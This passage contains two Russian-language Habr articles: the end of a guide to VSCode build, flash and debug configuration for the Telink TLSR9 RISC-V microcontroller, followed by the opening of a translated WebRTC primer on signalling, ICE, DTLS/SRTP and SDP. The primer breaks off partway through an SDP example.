"problemMatcher": {
"owner": "cpp",
"fileLocation": ["relative", "${workspaceFolder}/build"],
"pattern": {
"regexp": "^(.*):(\\d+):(\\d+):\\s+(warning|error):\\s+(.*)$",
"file": 1,
"line": 2,
"column": 3,
"severity": 4,
"message": 5
}
}
},
{
"label": "ICEman",
"type": "shell",
"isBackground": true,
"options": {
"cwd": "${workspaceRoot}/toolchain/ice"
},
"command": "./ICEman -Z v5",
},
{
"label": "flash",
"type": "shell",
"options": {
"cwd": "${workspaceRoot}/toolchain/flash/bin"
},
"command": "./SPI_burn -i ./../../../app/build/apptest.bin -v",
"dependsOn":["Build"],
}
]
}
```
### Отладка (launch.json)
Для отладки потребуется один из двух плагинов, [Cortex-Debug](https://marketplace.visualstudio.com/items?itemName=marus25.cortex-debug) привычный для тех, кто уже использовал VSCode для отладки ARM-микроконтроллеров или [Native Debug](https://marketplace.visualstudio.com/items?itemName=webfreak.debug). Большой разницы между ними нет, но Cortex-Debug позволяет несколько удобнее работать с Zephyr, FreeRTOS и выводить RTT-сообщения во встроенный терминал VSCode, поэтому я предпочитаю его. Настройки для обоих решений приведены ниже:
```
{
"configurations": [
{
"type": "gdb",
"name": "Native Debug",
"request": "attach",
"cwd": "${workspaceRoot}",
"valuesFormatting": "parseText",
"executable": "${workspaceRoot}/app/build/apptest.elf",
"preLaunchTask": "ICEman",
"target": ":1111",
"remote": true,
"gdbpath": "${workspaceRoot}/toolchain/nds32le-elf-mculib-v5f/bin/riscv32-elf-gdb",
"autorun": [
"reset-and-hold",
"flushregs",
"break main"
]
},
{
"name": "Cortex-Debug",
"cwd": "${workspaceRoot}",
"executable": "./app/build/apptest.elf",
"request": "launch",
"type": "cortex-debug",
"servertype": "external",
"gdbTarget": "localhost:1111",
"gdbPath": "${workspaceRoot}/toolchain/nds32le-elf-mculib-v5f/bin/riscv32-elf-gdb",
"preLaunchTask": "ICEman",
"runToEntryPoint": "main",
}
]
}
```
Для использования Cortex-Debug потребуется добавить несколько строчек в настройки проекта `settings.json`
```
{
"cortex-debug.openocdPath": "${workspaceRoot}/toolchain/ice/openocd",
"cortex-debug.gdbPath": "${workspaceRoot}/toolchain/nds32le-elf-mculib-v5f/nds32le-elf-mculib-v5f/bin/riscv32-elf-gdb",
"cmake.sourceDirectory": "${workspaceFolder}/app",
"taskExplorer.enableMake": false,
"search.exclude": {
"**/build": true
}
}
```
И подсказать IntelliSense, где лежат наши исходники и какие объявления мы хотим сделать при сборке. Для этих целей служит `c_cpp_properties.json`
```
{
"configurations": [
{
"name": "Linux",
"includePath": [
"${workspaceFolder}/**",
"${workspaceFolder}/app/**",
"${workspaceFolder}/driver_sdk/**"
],
"defines": [
"MCU_STARTUP_FLASH_B91=1",
"DEBUG"
],
"browse": {
"limitSymbolsToIncludedHeaders": true,
"databaseFilename": ""
},
"cStandard": "c11",
"cppStandard": "c++17",
"intelliSenseMode": "gcc-arm"
}
],
"version": 4
}
```
### Заключение
В целом этого достаточно для комфортной разработки и отладки. Настройка автосборки для GIthub Actions не сильно отличается от тех шагов, что были проделаны выше, но на всякий случай оставлю рабочий [пример](https://github.com/aectaan/da1469x-cmake/blob/master/.github/workflows/da1469x.yml) для другого не очень распространенного микроконтроллера. Посмотреть на проект целиком можно на [гитхабе](https://github.com/aectaan/Telink-TLSR9-CMake). | https://habr.com/ru/post/652471/ | null | ru | null |
# WebRTC для всех и каждого. Часть 1
Привет, друзья!
Представляю вашему вниманию первую часть перевода [этой замечательной книги по WebRTC](https://webrtcforthecurious.com/). Данная часть посвящена тому, что такое `WebRTC`, процессу сигнализации и установки соединения (первые 3 части оригинала).
Справедливости ради следует отметить, что на Хабре уже публиковался "вольный" перевод первых 2 частей оригинала ([часть 1](https://habr.com/ru/post/559772/), [часть 2](https://habr.com/ru/post/597731/)), но автор по какой-то причине решил не продолжать. Я, свою очередь, решил начать с самого начала, без лишних вольностей и сокращений.
[Ссылка на вторую часть перевода](https://habr.com/ru/company/timeweb/blog/657885/).
Если вам это интересно, прошу под кат.
Содержание этой части
---------------------
* [Что такое WebRTC?](#%D1%87%D1%82%D0%BE-%D1%82%D0%B0%D0%BA%D0%BE%D0%B5-webrtc)
+ [Зачем изучать WebRTC?](#%D0%B7%D0%B0%D1%87%D0%B5%D0%BC-%D0%B8%D0%B7%D1%83%D1%87%D0%B0%D1%82%D1%8C-webrtc)
+ [Протокол WebRTC — это собрание других технологий](#%D0%BF%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB-webrtc---%D1%8D%D1%82%D0%BE-%D1%81%D0%BE%D0%B1%D1%80%D0%B0%D0%BD%D0%B8%D0%B5-%D0%B4%D1%80%D1%83%D0%B3%D0%B8%D1%85-%D1%82%D0%B5%D1%85%D0%BD%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D0%B9)
+ [Сигнализация: как пиры (peers) находят друг друга](#%D1%81%D0%B8%D0%B3%D0%BD%D0%B0%D0%BB%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F-%D0%BA%D0%B0%D0%BA-%D0%BF%D0%B8%D1%80%D1%8B-peers-%D0%BD%D0%B0%D1%85%D0%BE%D0%B4%D1%8F%D1%82-%D0%B4%D1%80%D1%83%D0%B3-%D0%B4%D1%80%D1%83%D0%B3%D0%B0)
+ [Подключение и отображение NAT с помощью STUN/TURN](#%D0%BF%D0%BE%D0%B4%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%BD%D0%B8%D0%B5-%D0%B8-%D0%BE%D1%82%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5-nat-%D1%81-%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C%D1%8E-stunturn)
+ [Обеспечение безопасности канала передачи данных с помощью DTLS и SRTP](#%D0%BE%D0%B1%D0%B5%D1%81%D0%BF%D0%B5%D1%87%D0%B5%D0%BD%D0%B8%D0%B5-%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8-%D0%BA%D0%B0%D0%BD%D0%B0%D0%BB%D0%B0-%D0%BF%D0%B5%D1%80%D0%B5%D0%B4%D0%B0%D1%87%D0%B8-%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85-%D1%81-%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C%D1%8E-dtls-%D0%B8-srtp)
+ [Коммуникация между пирами через RTP и SCTP](#%D0%BA%D0%BE%D0%BC%D0%BC%D1%83%D0%BD%D0%B8%D0%BA%D0%B0%D1%86%D0%B8%D1%8F-%D0%BC%D0%B5%D0%B6%D0%B4%D1%83-%D0%BF%D0%B8%D1%80%D0%B0%D0%BC%D0%B8-%D1%87%D0%B5%D1%80%D0%B5%D0%B7-rtp-%D0%B8-sctp)
+ [WebRTC — коллекция протоколов](#webrtc---%D0%BA%D0%BE%D0%BB%D0%BB%D0%B5%D0%BA%D1%86%D0%B8%D1%8F-%D0%BF%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB%D0%BE%D0%B2)
+ [Как работает WebRTC (API)?](#%D0%BA%D0%B0%D0%BA-%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%B0%D0%B5%D1%82-webrtc-api)
* [Сигнализация](#%D1%81%D0%B8%D0%B3%D0%BD%D0%B0%D0%BB%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F)
+ [Как сигнализация работает?](#%D0%BA%D0%B0%D0%BA-%D1%81%D0%B8%D0%B3%D0%BD%D0%B0%D0%BB%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F-%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%B0%D0%B5%D1%82)
+ [Что такое протокол описания сессии (Session Description Protocol, SDP)?](#%D1%87%D1%82%D0%BE-%D1%82%D0%B0%D0%BA%D0%BE%D0%B5-%D0%BF%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB-%D0%BE%D0%BF%D0%B8%D1%81%D0%B0%D0%BD%D0%B8%D1%8F-%D1%81%D0%B5%D1%81%D1%81%D0%B8%D0%B8-session-description-protocol-sdp)
+ [Изучение SDP](#%D0%B8%D0%B7%D1%83%D1%87%D0%B5%D0%BD%D0%B8%D0%B5-sdp)
+ [WebRTC использует лишь некоторые ключи SDP](#webrtc-%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D1%83%D0%B5%D1%82-%D0%BB%D0%B8%D1%88%D1%8C-%D0%BD%D0%B5%D0%BA%D0%BE%D1%82%D0%BE%D1%80%D1%8B%D0%B5-%D0%BA%D0%BB%D1%8E%D1%87%D0%B8-sdp)
+ [Медиаописания в описании сессии](#%D0%BC%D0%B5%D0%B4%D0%B8%D0%B0%D0%BE%D0%BF%D0%B8%D1%81%D0%B0%D0%BD%D0%B8%D1%8F-%D0%B2-%D0%BE%D0%BF%D0%B8%D1%81%D0%B0%D0%BD%D0%B8%D0%B8-%D1%81%D0%B5%D1%81%D1%81%D0%B8%D0%B8)
+ [Полный пример](#%D0%BF%D0%BE%D0%BB%D0%BD%D1%8B%D0%B9-%D0%BF%D1%80%D0%B8%D0%BC%D0%B5%D1%80)
+ [Как SDP и WebRTC работают вместе](#%D0%BA%D0%B0%D0%BA-sdp-%D0%B8-webrtc-%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%B0%D1%8E%D1%82-%D0%B2%D0%BC%D0%B5%D1%81%D1%82%D0%B5)
+ [Что такое предложения и ответы?](#%D1%87%D1%82%D0%BE-%D1%82%D0%B0%D0%BA%D0%BE%D0%B5-%D0%BF%D1%80%D0%B5%D0%B4%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F-%D0%B8-%D0%BE%D1%82%D0%B2%D0%B5%D1%82%D1%8B)
+ [Трансиверы](#%D1%82%D1%80%D0%B0%D0%BD%D1%81%D0%B8%D0%B2%D0%B5%D1%80%D1%8B)
+ [Значения SDP, используемые в WebRTC](#%D0%B7%D0%BD%D0%B0%D1%87%D0%B5%D0%BD%D0%B8%D1%8F-sdp-%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D1%83%D0%B5%D0%BC%D1%8B%D0%B5-%D0%B2-webrtc)
+ [Пример описания сессии WebRTC](#%D0%BF%D1%80%D0%B8%D0%BC%D0%B5%D1%80-%D0%BE%D0%BF%D0%B8%D1%81%D0%B0%D0%BD%D0%B8%D1%8F-%D1%81%D0%B5%D1%81%D1%81%D0%B8%D0%B8-webrtc)
* [Подключение](#%D0%BF%D0%BE%D0%B4%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%BD%D0%B8%D0%B5)
+ [Как это работает?](#%D0%BA%D0%B0%D0%BA-%D1%8D%D1%82%D0%BE-%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%B0%D0%B5%D1%82)
+ [Ограничения реального мира](#%D0%BE%D0%B3%D1%80%D0%B0%D0%BD%D0%B8%D1%87%D0%B5%D0%BD%D0%B8%D1%8F-%D1%80%D0%B5%D0%B0%D0%BB%D1%8C%D0%BD%D0%BE%D0%B3%D0%BE-%D0%BC%D0%B8%D1%80%D0%B0)
+ [Разные сети](#%D1%80%D0%B0%D0%B7%D0%BD%D1%8B%D0%B5-%D1%81%D0%B5%D1%82%D0%B8)
+ [Ограничения протоколов](#%D0%BE%D0%B3%D1%80%D0%B0%D0%BD%D0%B8%D1%87%D0%B5%D0%BD%D0%B8%D1%8F-%D0%BF%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB%D0%BE%D0%B2)
+ [Правила межсетевых экранов](#%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D0%BB%D0%B0-%D0%BC%D0%B5%D0%B6%D1%81%D0%B5%D1%82%D0%B5%D0%B2%D1%8B%D1%85-%D1%8D%D0%BA%D1%80%D0%B0%D0%BD%D0%BE%D0%B2)
+ [Отображение NAT](#%D0%BE%D1%82%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5-nat)
+ [Создание отображения NAT](#%D1%81%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5-%D0%BE%D1%82%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F-nat)
+ [Варианты создания отображения NAT](#%D0%B2%D0%B0%D1%80%D0%B8%D0%B0%D0%BD%D1%82%D1%8B-%D1%81%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F-%D0%BE%D1%82%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F-nat)
+ [Варианты фильтрации отображения NAT](#%D0%B2%D0%B0%D1%80%D0%B8%D0%B0%D0%BD%D1%82%D1%8B-%D1%84%D0%B8%D0%BB%D1%8C%D1%82%D1%80%D0%B0%D1%86%D0%B8%D0%B8-%D0%BE%D1%82%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F-nat)
+ [Обновление отображения NAT](#%D0%BE%D0%B1%D0%BD%D0%BE%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5-%D0%BE%D1%82%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F-nat)
+ [STUN](#stun)
+ [Структура протокола](#%D1%81%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%B0-%D0%BF%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB%D0%B0)
+ [Создание отображения NAT](#%D1%81%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5-%D0%BE%D1%82%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F-nat-1)
+ [Определение типа NAT](#%D0%BE%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5-%D1%82%D0%B8%D0%BF%D0%B0-nat)
+ [TURN](#turn)
+ [Жизненный цикл TURN](#%D0%B6%D0%B8%D0%B7%D0%BD%D0%B5%D0%BD%D0%BD%D1%8B%D0%B9-%D1%86%D0%B8%D0%BA%D0%BB-turn)
+ [Использование TURN](#%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5-turn)
+ [ICE](#ice)
+ [Создание агента ICE](#%D1%81%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5-%D0%B0%D0%B3%D0%B5%D0%BD%D1%82%D0%B0-ice)
+ [Сбор кандидатов (Candidate Gathering)](#%D1%81%D0%B1%D0%BE%D1%80-%D0%BA%D0%B0%D0%BD%D0%B4%D0%B8%D0%B4%D0%B0%D1%82%D0%BE%D0%B2-candidate-gathering)
+ [Проверки подключения](#%D0%BF%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D0%BA%D0%B8-%D0%BF%D0%BE%D0%B4%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%BD%D0%B8%D1%8F)
+ [Выбор кандидатов](#%D0%B2%D1%8B%D0%B1%D0%BE%D1%80-%D0%BA%D0%B0%D0%BD%D0%B4%D0%B8%D0%B4%D0%B0%D1%82%D0%BE%D0%B2)
+ [Перезагрузка](#%D0%BF%D0%B5%D1%80%D0%B5%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B7%D0%BA%D0%B0)
Что такое WebRTC?
=================
`WebRTC` (Web Real-Time Communication — коммуникация в режиме реального времени) — это [API](https://ru.wikipedia.org/wiki/API) (Application Programming Interface — программный интерфейс приложения) и [протокол](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB_%D0%BF%D0%B5%D1%80%D0%B5%D0%B4%D0%B0%D1%87%D0%B8_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85). Протокол `WebRTC` — это набор правил, позволяющий двум агентам `WebRTC` ([браузерам](https://ru.wikipedia.org/wiki/%D0%91%D1%80%D0%B0%D1%83%D0%B7%D0%B5%D1%80)) вести двунаправленную (bi-directional) безопасную коммуникацию в реальном времени. `WebRTC API` позволяет разработчикам использовать протокол `WebRTC`. `WebRTC API` в настоящее время определен только для `JavaScript`.
Возможно, вам уже известна другая пара с похожим взаимодействием [HTTP](https://developer.mozilla.org/ru/docs/Web/HTTP) и [Fetch API](https://developer.mozilla.org/ru/docs/Web/API/Fetch_API). В нашем случае протокол `WebRTC` — это `HTTP`, а `WebRTC API` — это `Fetch API`.
Протокол `WebRTC` поддерживается рабочей группой [rtcweb](https://datatracker.ietf.org/wg/rtcweb/documents/) [IETF](https://www.ietf.org/). `WebRTC API` задокументирован в [W3C](https://www.w3.org/) как [webrtc](https://www.w3.org/TR/webrtc/).
Зачем изучать WebRTC?
---------------------
Если попытаться кратко описать особенности `WebRTC`, получится вот такой список. Притом он не является исчерпывающим, это просто примеры интересных характеристик, с которыми вы встретитесь, изучая `WebRTC`. Не волнуйтесь, если не знакомы с какими-то терминами, все они будут раскрыты далее:
* Открытый стандарт.
* Разные реализации.
* Доступность в браузерах.
* Обязательное шифрование.
* Отображение NAT (NAT Traversal).
* Перепрофилирование существующих технологий.
* Контроль перегрузки (congestion control).
* Низкая задержка (на уровне долей секунды, sub-second latency).
Протокол WebRTC — это собрание других технологий
------------------------------------------------
В процессе установки соединения с помощью `WebRTC` можно выделить 4 этапа:
* Сигнализация (signalling).
* Подключение (установка соединения) (connection).
* Безопасность (securing).
* Коммуникация (взаимодействие) (communication).
Переходы между этапами происходят последовательно. Обязательным условием для начала следующего этапа является успешное завершение предыдущего.
Интересный факт о `WebRTC` — каждый этап состоит из большого количества других протоколов. Для создания `WebRTC` было объединено множество существующих технологий. В этом смысле `WebRTC` — это комбинация и конфигурация хорошо известных технологий, появившихся в начале 2000-х годов.
Каждому из перечисленных 4 этапов посвящен отдельный раздел, но для начала давайте рассмотрим их на самом высоком уровне.
Поскольку этапы зависят друг от друга, в дальнейшем это облегчит объяснение и понимание назначения каждого из них.
### Сигнализация: как [пиры](https://ru.wikipedia.org/wiki/%D0%9E%D0%B4%D0%BD%D0%BE%D1%80%D0%B0%D0%BD%D0%B3%D0%BE%D0%B2%D0%B0%D1%8F_%D1%81%D0%B5%D1%82%D1%8C) (peers) находят друг друга
При запуске `WebRTC` агент не знает, с кем и по поводу чего будет происходит коммуникация. И именно сигнализация дает нам прозрачность. Это первый этап и его назначение – подготовка вызова (звонка) (call) для того, чтобы два агента `WebRTC` могли начать коммуникацию.
Сигнализация осуществляется с помощью существующего протокола [`SDP`](https://ru.wikipedia.org/wiki/Session_Description_Protocol) (Session Description Protocol — протокол описания сессии). Напомним, что `SDP` – это текстовый протокол. Каждое сообщение `SDP` состоит из нескольких пар ключ/значение и содержит список "медиа разделов" (media sections). `SDP`, которыми обмениваются агенты `WebRTC`, содержит следующую информацию:
-[IP](https://ru.wikipedia.org/wiki/IP-%D0%B0%D0%B4%D1%80%D0%B5%D1%81) и порты, по которым можно получить доступ к агенту (candidates — кандидаты);
* какое количество аудио и видео треков хочет отправить агент;
* какие аудио и видео кодеки поддерживаются каждым агентом;
* значения, используемые в процессе подключения (`uFrag/uPwd`);
* значения, используемые для обеспечения безопасности (certificate fingerprint — отпечаток сертификата).
*Обратите внимание*, что сигнализация, как правило, происходит вне `WebRTC`; `WebRTC`, обычно, не используется для передачи сигнальных сообщений (signalling messages). Для передачи `SDP` между подключенными пирами могут использоваться такие технологии, как конечные точки [REST](https://ru.wikipedia.org/wiki/REST), [веб-сокеты](https://ru.wikipedia.org/wiki/WebSocket) или прокси аутентификации (authentication proxies).
### Подключение и отображение NAT с помощью STUN/TURN
В процессе сигнализации агенты `WebRTC` получают достаточно информации для того, чтобы попытаться выполнить подключение. Для этого используется другая технология под названием `ICE`.
`ICE` (Interactive Connectivity Establishment — установка интерактивного соединения) — это еще один протокол, предшествующий появлению `WebRTC`. `ICE` позволяет устанавливать соединение между двумя агентами. Агенты могут находиться в одной (локальной) сети или в разных концах света. `ICE` — это решение для установки прямого соединения без центрального сервера.
Настоящее волшебство — это "отображение NAT" и серверы `STUN/TURN`. И это все, что вам нужно для коммуникации с агентом `ICE`, находящимся в другой подсети (subnet).
После успешного подключения `ICE` `WebRTC` приступает к установке зашифрованного транспортного канала. Он используется для передачи аудио, видео и других данных.
### Обеспечение безопасности канала передачи данных с помощью DTLS и SRTP
После того, как мы установили двунаправленный канал коммуникации (с помощью `ICE`), нам необходимо сделать этот канал безопасным. Это делается с помощью двух протоколов, также разработанных задолго до появления `WebRTC`. Первый протокол — это [`DTLS`](https://ru.wikipedia.org/wiki/DTLS) (Datagram Transport Layer Security — протокол [датаграмм](https://ru.wikipedia.org/wiki/%D0%94%D0%B0%D1%82%D0%B0%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B0) безопасности транспортного уровня), который является просто [`TLS`](https://ru.wikipedia.org/wiki/TLS) поверх [`UDP`](https://ru.wikipedia.org/wiki/UDP). `TLS` — это криптографический протокол, который используется для безопасной коммуникации через [`HTTPS`](https://ru.wikipedia.org/wiki/HTTPS). Второй протокол — это [`SRTP`](https://ru.wikipedia.org/wiki/SRTP) (Secure Real-time Transport Protocol — используется для безопасной передачи данных в реальном времени).
Сначала `WebRTC` выполняет [рукопожатие](https://en.wikipedia.org/wiki/Handshaking) (handshake) `DTLS` с помощью соединения `ICE`. В отличие от `HTTPS`, `WebRTC` не использует центральный орган (central authority) для проверки сертификатов. Вместо этого `WebRTC` проверяет, что сертификат, переданный через `DTLS`, совпадает с отпечатком (fingerprint, мы подробно поговорим об этом в разделе, посвященном безопасности), переданным в процессе сигнализации. В дальнейшем `DTLS-подключение` используется для передачи сообщений по `DataChannel` (каналу передачи данных).
Для передачи аудио/видео используется другой протокол под названием [`RTP`](https://ru.wikipedia.org/wiki/Real-time_Transport_Protocol) (Real-time Transport Protocol — протокол передачи данных в реальном времени). Пакеты, передаваемые по `RTP`, защищаются с помощью `SRTP`. Сессия `SRTP` начинается с извлечения ключей из установленной сессии `DTLS`.
Поздравляем! Если предыдущие этапы завершились успешно, у нас имеется двунаправленная и безопасная коммуникация. Если соединение между агентами `WebRTC` является стабильным, можно приступать к обмену данными. К сожалению, в реальном мире мы постоянно сталкиваемся с потерей пакетов и ограниченной пропускной способностью, о чем мы поговорим в следующем разделе.
### Коммуникация между пирами через RTP и SCTP
Итак, мы установили безопасное двунаправленное соединение между двумя агентами `WebRTC` и наконец-то приступаем к коммуникации! Для этого используется два протокола: `RTP` и [SCTP](https://ru.wikipedia.org/wiki/SCTP) (Stream Control Transmission Protocol — протокол передачи с управлением потоком). `RTP` используется для передачи медиа, зашифрованного с помощью `SRTP`, а `SCTP` — нужен для отправки и приема сообщений по `DataChannel`, зашифрованных с помощью `DTLS`.
`RTP` является довольно минималистичным, но он предоставляет все необходимое для потоковой передачи данных в реальном времени. Гибкость `RTP` позволяет разработчикам решать проблемы, связанные с задержкой, потерей данных и перегрузкой, самыми разнообразными способами.
Последним протоколом в стеке является `SCTP`. Он предоставляет множество настроек, связанных с доставкой сообщений. Мы, например, можем пожертвовать надежностью и правильным порядком доставки пакетов данных в пользу низкой задержки доставки. Именно она является критически важной для коммуникации в реальном времени.
WebRTC — коллекция протоколов
-----------------------------
На первый взгляд `WebRTC` может показаться перепроектированным (over-engineered). Но мы можем ему это простить, так как с его помощью мы можем решать большое количество проблем. Гениальность `WebRTC` заключается в его скромности: он не пытается решать все задачи самостоятельно. Вместо этого, он объединяет множество существующих специализированных технологий в единое целое.
Это позволяет исследовать и изучать каждую часть по-отдельности. Очень подходящее сравнение `WebRTC` – это оркестратор (orchestrator) большого количества других протоколов.
Как работает WebRTC (API)?
--------------------------
В этом разделе мы поговорим о том, как протокол `WebRTC` реализован в `JavaScript API`. Это не подробный обзор, а всего лишь попытка нарисовать общую картину того, что происходит в процессе коммуникации в реальном времени.
**new RTCPeerConnection**
`RTCPeerConnection` — "WebRTC-сессия" верхнего уровня. Она объединяет все упомянутые выше протоколы. Выполняется подготовка всех необходимых подсистем, но пока еще ничего не происходит.
**addTrack**
`addTrack` создает новый поток данных (stream) `RTP`. Для этого потока генерируется случайный источник синхронизации (Synchronization Source, `SSRC`). Поток находится внутри описания сессии (Session Description, `SDP`) (в медиаразделе), генерируемого `createOffer`. Каждый вызов `addTrack` создает новый `SSRC` и медиараздел.
После установки `SRTP-сессии` и шифрования, эти медиапакеты начинают передаваться через `ICE`.
**createDataChannel**
`createDataChannel` создает новый `SCTP-поток` при его отсутствии. По умолчанию `SCTP` отключен, он включается только при запросе любой стороной канала передачи данных.
После установки `DTLS-сессии` и шифрования, эти пакеты с данными начинают передаваться через `ICE`.
**createOffer**
`createOffer` генерирует описание локального состояния (local state) сессии, передаваемого удаленному (в значении "находящемуся далеко", remote) пиру.
Вызов `createOffer` ничего не меняет для локального пира.
**setLocalDescription**
`setLocalDescription` фиксирует (commits) запрошенные (произведенные) изменения. `addTrack`, `createDataChannel` и аналогичные вызовы являются временными до вызова `setLocalDescription`. `setLocalDescription` вызывается со значением, сгенерированным `createOffer`.
**setRemoteDescription**
`setRemoteDescription` – способ информирования локального агента о состоянии удаленных кандидатов. Это сигнализация, выполняемая `JavaScript API`.
После вызова `setRemoteDescription` обеими сторонами, агенты `WebRTC` имеют достаточно информации для начала коммуникации `P2P` (Peer-To-Peer — равный к равному).
**addIceCandidate**
`addIceCandidate` позволяет `WebRTC-агенту` добавлять дополнительных кандидатов `ICE` в любое время. Данный интерфейс отправляет кандидата `ICE` прямо в подсистему `ICE` и не оказывает никакого другого влияния на общее соединение.
**ontrack**
`ontrack` — это функция обратного вызова (callback), которая вызывается при получении `RTP-пакета` от удаленного пира. Входящие пакеты помещаются в описание сессии, которое передается в `setRemoteDescription`.
**oniceconnectionstatechange**
`oniceconnectionstatechange` — это колбэк, который вызывается при изменении состояния агента `ICE`. Так мы получаем уведомления об установке и завершении соединения.
**onconnectionstatechange**
`onconnectionstatechange` — это комбинация состояния `ICE` и `DTLS`. Мы можем использовать этот коллбэк для получения уведомления об успешной установке `ICE` и `DTLS`.
Сигнализация
============
В момент своего создания агент `WebRTC` ничего не знает о другом пире. Он не имеет ни малейшего представления о том, с кем будет установлено соединение и чем они будут обмениваться. Сигнализация — это подготовка к совершению звонка. После обмена необходимой информацией агенты могут общаться друг с другом напрямую.
Сообщения, передаваемые в процессе сигнализации — это просто текст. Агентам неважно, как они передаются (какой транспорт для этого используется). Как правило, они передаются через веб-сокеты, но это необязательно.
Как это работает?
-----------------
`WebRTC` использует протокол `SDP`. Через него два агента обмениваются состоянием, необходимым для установки соединения. Сам протокол легко читать. Сложность возникает при изучении значений, генерируемых `WebRTC`.
Этот протокол не является специфичным для `WebRTC`. Сначала мы рассмотрим `SDP` в отрыве от `WebRTC`, а после – его применение в `WebRTC`.
Что такое протокол описания сессии (Session Description Protocol, SDP)?
-----------------------------------------------------------------------
Протокол описания сессии определен в [RFC 8866](https://datatracker.ietf.org/doc/html/rfc8866). Он состоит из пар ключ/значение. Каждая пара находится на отдельной строке. Он похож на файл [INI](https://en.wikipedia.org/wiki/INI_file). Описание сессии состоит из 0 и более описаний медиа (media descriptions). Об описании сессии можно думать как о массиве описаний медиа.
Описание медиа, обычно, относится к определенному потоку медиаданных. Поэтому, если мы хотим описать звонок, содержащий 3 видеопотока и 2 аудиопотока, у нас будет 5 описаний медиа.
### Изучение SDP
Каждая новая строка в описании сессии начинается с одного символа — ключа. Затем следует знак равенства. Все остальное (до новой строки) — это значение.
`SDP` определяет все ключи, которые являются валидными. Для ключей могут использоваться только буквы латинского алфавита. Каждый ключ имеет определенное значение.
Рассмотрим небольшой кусочек описания сессии:
```
a=first-value
a=second-value
```
У нас есть 2 строки и они обе начинаются с ключа `a`. Значением первой строки является `first-value`, а второй — `second-value`.
### Ключи SDP, используемые в WebRTC
Не все ключи, определенные в `SDP`, используются в `WebRTC`. Используются только ключи, фигурирующие в протоколе установки сессии JavaScript (JavaScript Session Establishment Protocol, `JSEP`), определенном в [RFC 8829](https://datatracker.ietf.org/doc/html/rfc8829). Прямо сейчас достаточно понимать следующие 7 ключей:
* `v` — версия (version) (`0`);
* `o` — источник (origin), уникальный идентификатор, полезный для повторной установки соединения;
* `s` — название сессии (`-`);
* `t` — расчет времени (timing) (`0 0`);
* `m` — описание медиа (`m= ...`);
* `a` — атрибут, свободное текстовое поле. Наиболее часто встречающийся ключ;
* `c` — данные о подключении (`IN IP4 0.0.0.0`).
### Медиаописания в описании сессии
Описание сессии может состоять из неограниченного количества описаний медиа.
Определение медиаописания состоит из списка форматов (formats). Эти форматы соответствуют типам полезной нагрузки `RTP` (RTP Payload Types). Кодек определяется атрибутом со значением `rtpmap` в описании сессии. Каждое описание медиа может состоять из неограниченного количества атрибутов.
Рассмотрим еще один кусочек описания сессии:
```
v=0
m=audio 4000 RTP/AVP 111
a=rtpmap:111 OPUS/48000/2
m=video 4000 RTP/AVP 96
a=rtpmap:96 VP8/90000
a=my-sdp-value
```
У нас есть два описания медиа: одно описывает аудио с форматом `111`, другое — видео с форматом `96`. Первое описание содержит один атрибут. Этот атрибут определяет (привязывает, maps) тип полезной нагрузки `111` как `Opus`. Второе описание содержит два атрибута. Первый атрибут определяет тип полезной нагрузки `96` как `VP8`, второй — содержит кастомное значение `my-sdp-value`.
### Полный пример
В следующем примере представлены все ключи `SDP`, используемые в `WebRTC`:
```
v=0
o=- 0 0 IN IP4 127.0.0.1
